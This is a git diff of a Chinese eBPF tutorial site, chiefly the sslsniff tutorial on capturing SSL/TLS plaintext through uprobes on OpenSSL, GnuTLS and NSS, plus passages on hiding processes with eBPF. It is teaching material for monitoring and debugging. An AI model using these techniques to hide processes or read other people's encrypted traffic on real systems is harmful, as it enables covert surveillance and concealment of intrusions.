之间的通讯,eBPF 提供了一个 bpf_msg_redirect_hash 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。 @@ -4857,7 +5282,7 @@ root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhid root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534 yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534 -总结 +总结 通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程 @@ -5006,7 +5431,7 @@ TIME PID COMM SUCCESS 13:54:45 8857 strace true 完整的源代码可以参考:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal -总结 +总结 通过这个实例,我们深入了解了如何将 eBPF 程序与用户态程序相结合,实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制,这种技术不仅限于监控,还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说,这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料 @@ -5082,20 +5507,19 @@ sudo ls -l /sys/fs/bpf/textreplace https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html -eBPF 实践教程:使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 +eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据 随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 -但现在,我们有了新的解决方案。 -eBPF技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 -在本教程中,我们将带您了解一种跨多种条件的技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。 -背景知识 +但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 +在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。 +背景知识 在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。 -SSL 和 TLS +SSL 和 TLS SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发,为网络上的两台机器之间提供数据加密传输。然而,由于某些已知的安全问题,SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者,旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。 -TLS 的工作原理 +TLS 的工作原理 Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。 -握手过程 -当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数: +握手过程 +当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数,完整流程如下: 初始握手:客户端连接到启用了TLS的服务器,请求安全连接,并提供它支持的密码套件列表(加密算法和哈希函数)。 选择密码套件:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。 @@ -5104,42 +5528,41 @@ sudo ls -l /sys/fs/bpf/textreplace 生成会话密钥:为了生成用于安全连接的会话密钥,客户端有以下两种方法: 使用服务器的公钥加密一个随机数(PreMasterSecret)并将结果发送到服务器(只有服务器才能使用其私钥解密);双方然后使用该随机数生成一个独特的会话密钥,用于会话期间的数据加密和解密。 -使用Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 +使用 Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。 -OSI模型中的TLS -TLS和SSL不完全适合OSI模型或TCP/IP模型的任何单一层次。TLS在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动TLS握手和交换的认证证书的处理。 -eBPF 和 uprobe +OSI模型中的TLS +TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS 的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。 +eBPF 和 uprobe eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 -uprobes: 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。 -用户态库 +uprobes 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。 +用户态库 SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库: OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支,重点是简化和优化,适用于Google的需求。 GnuTLS: 是GNU项目的一部分,提供了SSL,TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比,GnuTLS在API设计、模块结构和许可证上有所不同。 -OpenSSL API 分析 +OpenSSL API 分析 OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。 -1. SSL_read 函数 -当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。 -函数原型 +1. SSL_read 函数 +当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下: int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); int SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时,SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。 -2. SSL_write 函数 +2. SSL_write 函数 当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型: int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written); int SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时,SSL_write_ex 会在 *written 中存储实际写入的字节数。 -eBPF 内核态代码编写 -eBPF (扩展伯克利数据包过滤器) 是 Linux 内核中的一个功能强大的编程框架,它允许开发者在不修改内核源代码的情况下,为 Linux 内核动态插入自定义的程序。在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。 -数据结构 +eBPF 内核态代码编写 +在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。 +数据结构 首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据: #define MAX_BUF_SIZE 8192 #define TASK_COMM_LEN 16 @@ -5158,7 +5581,7 @@ struct probe_SSL_data_t { int is_handshake; // 是否是握手数据 }; -Hook 函数 +Hook 函数 我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID,确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; @@ -5221,7 +5644,7 @@ struct probe_SSL_data_t { } 这里的 rw 参数标识是读还是写。0 代表读,1 代表写。 -数据收集流程 +数据收集流程 获取当前进程和线程的 ID,以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 @@ -5242,9 +5665,9 @@ int BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作 } -Hook到握手过程 +Hook到握手过程 在 SSL/TLS 中,握手(handshake)是一个特殊的过程,用于在客户端和服务器之间建立安全的连接。为了分析此过程,我们 hook 到了 do_handshake 函数,以跟踪握手的开始和结束。 -进入握手 +进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe: SEC("uprobe/do_handshake") @@ -5270,7 +5693,7 @@ int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中,用于稍后计算握手过程的持续时间。 -退出握手 +退出握手 同样,我们为 do_handshake 的返回设置了一个 uretprobe: SEC("uretprobe/do_handshake") @@ -5332,10 +5755,9 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。 -用户态辅助代码分析 -用户态辅助代码分析与解读 +用户态辅助代码分析与解读 在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。 -1. 支持的库挂载 +1. 支持的库挂载 上述代码片段中,根据环境变量 env 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能,首先利用 find_library_path 函数确定库的路径。然后,根据库的类型,调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { @@ -5355,7 +5777,7 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。 -2. 详细挂载逻辑 +2. 详细挂载逻辑 具体的 attach 函数如下: #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ do { \ @@ -5438,16 +5860,16 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { } 完整的源代码可以在这里查看:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff -编译与运行 +编译与运行 要开始使用 sslsniff,首先要进行编译: make 完成后,请按照以下步骤操作: -启动 sslsniff +启动 sslsniff 在一个终端中,执行以下命令来启动 sslsniff: sudo ./sslsniff -执行 CURL 命令 +执行 CURL 命令 在另一个终端中,执行: curl https://example.com @@ -5464,7 +5886,7 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { </body> </html> -sslsniff 输出 +sslsniff 输出 当执行 curl 命令后,sslsniff 会显示以下内容: READ/RECV 0.132786160 curl 47458 1256 ----- DATA ----- @@ -5480,7 +5902,7 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { ----- END DATA ----- 注意:显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。 -显示延迟和握手过程 +显示延迟和握手过程 要查看延迟和握手过程,请执行以下命令: $ sudo ./sslsniff -l --handshake OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3 @@ -5489,7 +5911,7 @@ NSS path: /lib/x86_64-linux-gnu/libnspr4.so FUNC TIME(s) COMM PID LEN LAT(ms) HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014 -16进制输出 +16进制输出 要以16进制格式显示数据,请执行以下命令: $ sudo ./sslsniff --hexdump WRITE/SEND 0.000000000 curl 16104 24 @@ -5500,7 +5922,7 @@ WRITE/SEND 0.000000000 curl 16104 24 ... -总结 +总结 eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料: diff --git a/searchindex.js b/searchindex.js index 88409da..590ce3a 100644 --- a/searchindex.js +++ b/searchindex.js @@ -1 +1 @@ -Object.assign(window.search, {"doc_urls":["0-introduce/index.html#ebpf-入门开发实践教程零介绍-ebpf-的基本概念常见的开发工具","0-introduce/index.html#1-ebpf简介安全和有效地扩展内核","0-introduce/index.html#ebpf-的未来内核的-javascript-可编程接口","0-introduce/index.html#2-关于如何学习-ebpf-相关的开发的一些建议","0-introduce/index.html#ebpf-入门5-7h","0-introduce/index.html#了解如何开发-ebpf-程序10-15h","0-introduce/index.html#3-如何使用ebpf编程","0-introduce/index.html#编写-ebpf-程序","0-introduce/index.html#bcc","0-introduce/index.html#ebpf-go-library","0-introduce/index.html#libbpf","0-introduce/index.html#eunomia-bpf","0-introduce/index.html#参考资料","1-helloworld/index.html#ebpf-入门开发实践教程一hello-world基本框架和开发流程","1-helloworld/index.html#ebpf开发环境准备与基本开发流程","1-helloworld/index.html#安装必要的软件和工具","1-helloworld/index.html#下载安装-eunomia-bpf-开发工具","1-helloworld/index.html#hello-world---minimal-ebpf-program","1-helloworld/index.html#ebpf-程序的基本框架","1-helloworld/index.html#tracepoints","1-helloworld/index.html#github-模板轻松构建-ebpf-项目和开发环境","1-helloworld/index.html#总结","2-kprobe-unlink/index.html#ebpf-入门开发实践教程二在-ebpf-中使用-kprobe-监测捕获-unlink-系统调用","2-kprobe-unlink/index.html#kprobes-技术背景","2-kprobe-unlink/index.html#kprobe-示例","2-kprobe-unlink/index.html#总结","3-fentry-unlink/index.html#ebpf-入门开发实践教程三在-ebpf-中使用-fentry-监测捕获-unlink-系统调用","3-fentry-unlink/index.html#fentry","3-fentry-unlink/index.html#总结","4-opensnoop/index.html#ebpf-入门开发实践教程四在-ebpf-中捕获进程打开文件的系统调用集合使用全局变量过滤进程-pid","4-opensnoop/index.html#在-ebpf-中捕获进程打开文件的系统调用集合","4-opensnoop/index.html#使用全局变量在-ebpf-中过滤进程-pid","4-opensnoop/index.html#总结","5-uprobe-bashreadline/index.html#ebpf-入门开发实践教程五在-ebpf-中使用--uprobe-捕获-bash-的-readline-函数调用","5-uprobe-bashreadline/index.html#什么是uprobe","5-uprobe-bashreadline/index.html#使用-uprobe-捕获-bash-的-readline-函数调用","5-uprobe-bashreadline/index.html#总结","6-sigsnoop/index.html#ebpf-入门开发实践教程六捕获进程发送信号的系统调用集合使用-hash-map-保存状态","6-sigsnoop/index.html#sigsnoop","6-sigsnoop/index.html#总结","7-execsnoop/index.html#ebpf-入门实践教程七捕获进程执行事件通过-perf-event-array-向用户态打印输出","7-execsnoop/index.html#perf-buffer","7-execsnoop/index.html#execsnoop","7-execsnoop/index.html#总结","8-exitsnoop/index.html#ebpf-入门开发实践教程八在-ebpf-中使用-exitsnoop-监控进程退出事件使用-ring-buffer-向用户态打印输出","8-exitsnoop/index.html#ring-buffer","8-exitsnoop/index.html#ebpf-ringbuf-vs-ebpf-perfbuf","8-exitsnoop/index.html#exitsnoop","8-exitsnoop/index.html#compile-and-run","8-exitsnoop/index.html#总结","9-runqlat/index.html#ebpf-入门开发实践教程九捕获进程调度延迟以直方图方式记录","9-runqlat/index.html#runqlat-原理","9-runqlat/index.html#runqlat-代码实现","9-runqlat/index.html#runqlatbpfc","9-runqlat/index.html#runqlath","9-runqlat/index.html#编译运行","9-runqlat/index.html#总结","10-hardirqs/index.html#ebpf-入门开发实践教程十在-ebpf-中使用-hardirqs-或-softirqs-捕获中断事件","10-hardirqs/index.html#hardirqs-和-softirqs-是什么","10-hardirqs/index.html#实现原理","10-hardirqs/index.html#hardirqs-代码实现","10-hardirqs/index.html#运行代码","10-hardirqs/index.html#总结","11-bootstrap/index.html#ebpf-入门开发实践教程十一在-ebpf-中使用-libbpf-开发用户态程序并跟踪-exec-和-exit-系统调用","11-bootstrap/index.html#libbpf-库以及为什么需要使用它","11-bootstrap/index.html#什么是-bootstrap","11-bootstrap/index.html#bootstrap","11-bootstrap/index.html#内核态-ebpf-程序-bootstrapbpfc","11-bootstrap/index.html#用户态bootstrapc","11-bootstrap/index.html#安装依赖","11-bootstrap/index.html#编译运行","11-bootstrap/index.html#总结","13-tcpconnlat/index.html#ebpf入门开发实践教程十三统计-tcp-连接延时并使用-libbpf-在用户态处理数据","13-tcpconnlat/index.html#背景","13-tcpconnlat/index.html#tcpconnlat-工具概述","13-tcpconnlat/index.html#tcp-连接原理","13-tcpconnlat/index.html#tcpconnlat-的-ebpf-实现","13-tcpconnlat/index.html#tcp_v4_connect-函数解析","13-tcpconnlat/index.html#内核态代码","13-tcpconnlat/index.html#用户态数据处理","13-tcpconnlat/index.html#编译运行","13-tcpconnlat/index.html#总结","14-tcpstates/index.html#ebpf入门实践教程十四记录-tcp-连接状态与-tcp-rtt","14-tcpstates/index.html#tcprtt-与-tcpstates","14-tcpstates/index.html#tcpstate","14-tcpstates/index.html#定义-bpf-maps","14-tcpstates/index.html#追踪-tcp-连接状态变化","14-tcpstates/index.html#更新时间戳","14-tcpstates/index.html#tcprtt","14-tcpstates/index.html#编译运行","14-tcpstates/index.html#总结","15-javagc/index.html#ebpf-入门实践教程十五使用-usdt-捕获用户态-java-gc-事件耗时","15-javagc/index.html#usdt-介绍","15-javagc/index.html#用户层面的追踪机制用户级动态跟踪和-usdt","15-javagc/index.html#java-gc-介绍","15-javagc/index.html#ebpf-实现机制","15-javagc/index.html#内核态程序","15-javagc/index.html#用户态程序","15-javagc/index.html#安装依赖","15-javagc/index.html#编译运行","15-javagc/index.html#总结","16-memleak/index.html#ebpf-入门实践教程十六编写-ebpf-程序-memleak-监控内存泄漏","16-memleak/index.html#背景及其重要性","16-memleak/index.html#调试内存泄漏的挑战","16-memleak/index.html#ebpf-的作用","16-memleak/index.html#memleak-的实现原理","16-memleak/index.html#内核态-ebpf-程序实现","16-memleak/index.html#memleak-内核态-ebpf-程序实现","16-memleak/index.html#用户态程序","16-memleak/index.html#编译运行","16-memleak/index.html#总结","17-biopattern/index.html#ebpf-入门实践教程十七编写-ebpf-程序统计随机顺序磁盘-io","17-biopattern/index.html#随机顺序磁盘-io","17-biopattern/index.html#biopattern","17-biopattern/index.html#ebpf-biopattern-实现原理","17-biopattern/index.html#用户态代码","17-biopattern/index.html#总结","18-further-reading/index.html#更多的参考资料","19-lsm-connect/index.html#ebpf-入门实践教程使用-lsm-进行安全检测防御","19-lsm-connect/index.html#背景","19-lsm-connect/index.html#lsm-概述","19-lsm-connect/index.html#确认-bpf-lsm-是否可用","19-lsm-connect/index.html#编写-ebpf-程序","19-lsm-connect/index.html#编译运行","19-lsm-connect/index.html#总结","19-lsm-connect/index.html#参考","20-tc/index.html#ebpf-入门实践教程二十使用-ebpf-进行-tc-流量控制","20-tc/index.html#背景","20-tc/index.html#tc-概述","20-tc/index.html#编写-ebpf-程序","20-tc/index.html#编译运行","20-tc/index.html#总结","20-tc/index.html#参考","22-android/index.html#在-andorid-上使用-ebpf-程序","22-android/index.html#背景","22-android/index.html#测试环境","22-android/index.html#环境搭建","22-android/index.html#工具构建","22-android/index.html#结果","22-android/index.html#成功案例","22-android/index.html#一些可能的报错原因","22-android/index.html#总结","22-android/index.html#参考","23-http/index.html#http","29-sockops/index.html#ebpf-sockops-示例","29-sockops/index.html#利用-ebpf-的-sockops-进行性能优化","29-sockops/index.html#运行样例","29-sockops/index.html#编译-ebpf-程序","29-sockops/index.html#加载-ebpf-程序","29-sockops/index.html#运行--iperf3--服务器","29-sockops/index.html#运行--iperf3--客户端","29-sockops/index.html#收集追踪","29-sockops/index.html#卸载-ebpf-程序","29-sockops/index.html#参考资料","24-hide/index.html#ebpf-开发实践使用-ebpf-隐藏进程或文件信息","24-hide/index.html#背景知识与实现机制","24-hide/index.html#内核态-ebpf-程序实现","24-hide/index.html#用户态-ebpf-程序实现","24-hide/index.html#编译运行隐藏-pid","24-hide/index.html#总结","25-signal/index.html#ebpf-入门实践教程用-bpf_send_signal-发送信号终止恶意进程","25-signal/index.html#使用场景","25-signal/index.html#现有方案的不足","25-signal/index.html#新方案的优势","25-signal/index.html#内核态代码分析","25-signal/index.html#代码分析","25-signal/index.html#1-数据结构定义-signalh","25-signal/index.html#2-ebpf-程序-signalbpfc","25-signal/index.html#编译运行","25-signal/index.html#总结","25-signal/index.html#参考资料","26-sudo/index.html#使用-ebpf-添加-sudo-用户","26-sudo/index.html#参考资料","27-replace/index.html#使用-ebpf-替换任意程序读取或写入的文本","27-replace/index.html#参考资料","28-detach/index.html#在用户态应用退出后运行-ebpf-程序ebpf-程序的生命周期","28-detach/index.html#ebpf-程序的生命周期","28-detach/index.html#运行","28-detach/index.html#参考资料","30-sslsniff/index.html#ebpf-实践教程使用-ebpf-用户态捕获多种库的-ssltls-明文数据","30-sslsniff/index.html#背景知识","30-sslsniff/index.html#ssl-和-tls","30-sslsniff/index.html#tls-的工作原理","30-sslsniff/index.html#ebpf-和-uprobe","30-sslsniff/index.html#用户态库","30-sslsniff/index.html#openssl-api-分析","30-sslsniff/index.html#1-ssl_read-函数","30-sslsniff/index.html#2-ssl_write-函数","30-sslsniff/index.html#ebpf-内核态代码编写","30-sslsniff/index.html#数据结构","30-sslsniff/index.html#hook-函数","30-sslsniff/index.html#hook到握手过程","30-sslsniff/index.html#用户态辅助代码分析","30-sslsniff/index.html#用户态辅助代码分析与解读","30-sslsniff/index.html#1-支持的库挂载","30-sslsniff/index.html#2-详细挂载逻辑","30-sslsniff/index.html#编译与运行","30-sslsniff/index.html#启动-sslsniff","30-sslsniff/index.html#执行-curl-命令","30-sslsniff/index.html#sslsniff-输出","30-sslsniff/index.html#显示延迟和握手过程","30-sslsniff/index.html#16进制输出","30-sslsniff/index.html#总结","bcc-documents/kernel-versions.html#linux-内核版本的-bpf-功能","bcc-documents/kernel-versions.html#ebpf支持","bcc-documents/kernel-versions.html#jit编译","bcc-documents/kernel-versions.html#主要特性","bcc-documents/kernel-versions.html#程序类型","bcc-documents/kernel-versions.html#map-types--aka--表格-在-bcc-术语中","bcc-documents/kernel-versions.html#map-类型","bcc-documents/kernel-versions.html#map-userspace-api","bcc-documents/kernel-versions.html#xdp","bcc-documents/kernel-versions.html#程序类型-1","bcc-documents/kernel_config.html#bpf-特性的内核配置","bcc-documents/kernel_config.html#与-bpf-相关的内核配置","bcc-documents/reference_guide.html#bcc-参考指南","bcc-documents/reference_guide.html#目录","bcc-documents/reference_guide.html#bpf-c","bcc-documents/reference_guide.html#events--arguments","bcc-documents/reference_guide.html#1-kprobes","bcc-documents/reference_guide.html#2-kretprobes","bcc-documents/reference_guide.html#3-tracepoints","bcc-documents/reference_guide.html#4-uprobes","bcc-documents/reference_guide.html#6-usdt探测点","bcc-documents/reference_guide.html#7-原始跟踪点","bcc-documents/reference_guide.html#8-系统调用跟踪点","bcc-documents/reference_guide.html#9-kfuncs","bcc-documents/reference_guide.html#10-kretfuncs","bcc-documents/reference_guide.html#11-lsm-probes","bcc-documents/reference_guide.html#12-bpf迭代器","bcc-documents/reference_guide.html#数据","bcc-documents/reference_guide.html#1-bpf_probe_read_kernel","bcc-documents/reference_guide.html#2-bpf_probe_read_kernel_strshell","bcc-documents/reference_guide.html#3-bpf_ktime_get_ns","bcc-documents/reference_guide.html#4-bpf_get_current_pid_tgid","bcc-documents/reference_guide.html#5-bpf_get_current_uid_gid","bcc-documents/reference_guide.html#6-bpf_get_current_comm","bcc-documents/reference_guide.html#7-bpf_get_current_task","bcc-documents/reference_guide.html#8-bpf_log2l","bcc-documents/reference_guide.html#9-bpf_get_prandom_u32","bcc-documents/reference_guide.html#10-bpf_probe_read_user","bcc-documents/reference_guide.html#11-bpf_probe_read_user_str","bcc-documents/reference_guide.html#12-bpf_get_ns_current_pid_tgid","bcc-documents/reference_guide.html#调试","bcc-documents/reference_guide.html#1-bpf_override_return","bcc-documents/reference_guide.html#输出","bcc-documents/reference_guide.html#1-bpf_trace_printk","bcc-documents/reference_guide.html#2-bpf_perf_output","bcc-documents/reference_guide.html#3-perf_submit","bcc-documents/reference_guide.html#4-perf_submit_skb","bcc-documents/reference_guide.html#5-bpf_ringbuf_output","bcc-documents/reference_guide.html#6-ringbuf_output","bcc-documents/reference_guide.html#7-ringbuf_reserve","bcc-documents/reference_guide.html#8-ringbuf_submit","bcc-documents/reference_guide.html#9-ringbuf_discard","bcc-documents/reference_guide.html#maps","bcc-documents/reference_guide.html#1-bpf_table","bcc-documents/reference_guide.html#2-bpf_hash","bcc-documents/reference_guide.html#3-bpf_array","bcc-documents/reference_guide.html#4-bpf_histogram","bcc-documents/reference_guide.html#5-bpf_stack_trace","bcc-documents/reference_guide.html#6-bpf_perf_array","bcc-documents/reference_guide.html#7-bpf_percpu_hash","bcc-documents/reference_guide.html#8-bpf_percpu_array","bcc-documents/reference_guide.html#9-bpf_lpm_trie","bcc-documents/reference_guide.html#10-bpf_prog_array","bcc-documents/reference_guide.html#11-bpf_devmap","bcc-documents/reference_guide.html#12-bpf_cpumap","bcc-documents/reference_guide.html#13-bpf_xskmap","bcc-documents/reference_guide.html#14-bpf_array_of_maps","bcc-documents/reference_guide.html#15-bpf_hash_of_maps","bcc-documents/reference_guide.html#16-bpf_stack","bcc-documents/reference_guide.html#17-bpf_queue","bcc-documents/reference_guide.html#18-bpf_sockhash","bcc-documents/reference_guide.html#19-maplookup","bcc-documents/reference_guide.html#20-maplookup_or_try_init","bcc-documents/reference_guide.html#21-mapdelete","bcc-documents/reference_guide.html#22-mapupdate","bcc-documents/reference_guide.html#23-mapinsert","bcc-documents/reference_guide.html#24-mapincrement","bcc-documents/reference_guide.html#25-mapget_stackid","bcc-documents/reference_guide.html#26-mapperf_read","bcc-documents/reference_guide.html#27-mapcall","bcc-documents/reference_guide.html#28-mapredirect_map","bcc-documents/reference_guide.html#29-mappush","bcc-documents/reference_guide.html#30-mappop","bcc-documents/reference_guide.html#31-mappeek","bcc-documents/reference_guide.html#32-mapsock_hash_update","bcc-documents/reference_guide.html#33-mapmsg_redirect_hash","bcc-documents/reference_guide.html#34-mapsk_redirect_hash","bcc-documents/reference_guide.html#许可证","bcc-documents/reference_guide.html#rewriter","bcc-documents/reference_guide.html#bcc-python","bcc-documents/reference_guide.html#初始化","bcc-documents/reference_guide.html#1-bpf","bcc-documents/reference_guide.html#事件","bcc-documents/reference_guide.html#1-attach_kprobe","bcc-documents/reference_guide.html#2-attach_kretprobe","bcc-documents/reference_guide.html#3-attach_tracepoint","bcc-documents/reference_guide.html#4-attach_uprobe","bcc-documents/reference_guide.html#5-attach_uretprobe","bcc-documents/reference_guide.html#6-usdtenable_probe","bcc-documents/reference_guide.html#7-attach_raw_tracepoint","bcc-documents/reference_guide.html#8-attach_raw_socket","bcc-documents/reference_guide.html#9-attach_xdp","bcc-documents/reference_guide.html#10-attach_func","bcc-documents/reference_guide.html#12-detach_kprobe","bcc-documents/reference_guide.html#13-detach_kretprobe","bcc-documents/reference_guide.html#调试输出","bcc-documents/reference_guide.html#1-trace_print","bcc-documents/reference_guide.html#2-trace_fields","bcc-documents/reference_guide.html#输出-api","bcc-documents/reference_guide.html#1-perf_buffer_poll","bcc-documents/reference_guide.html#2-ring_buffer_poll","bcc-documents/reference_guide.html#3-ring_buffer_consume","bcc-documents/reference_guide.html#map-apis","bcc-documents/reference_guide.html#1-get_table","bcc-documents/reference_guide.html#2-open_perf_buff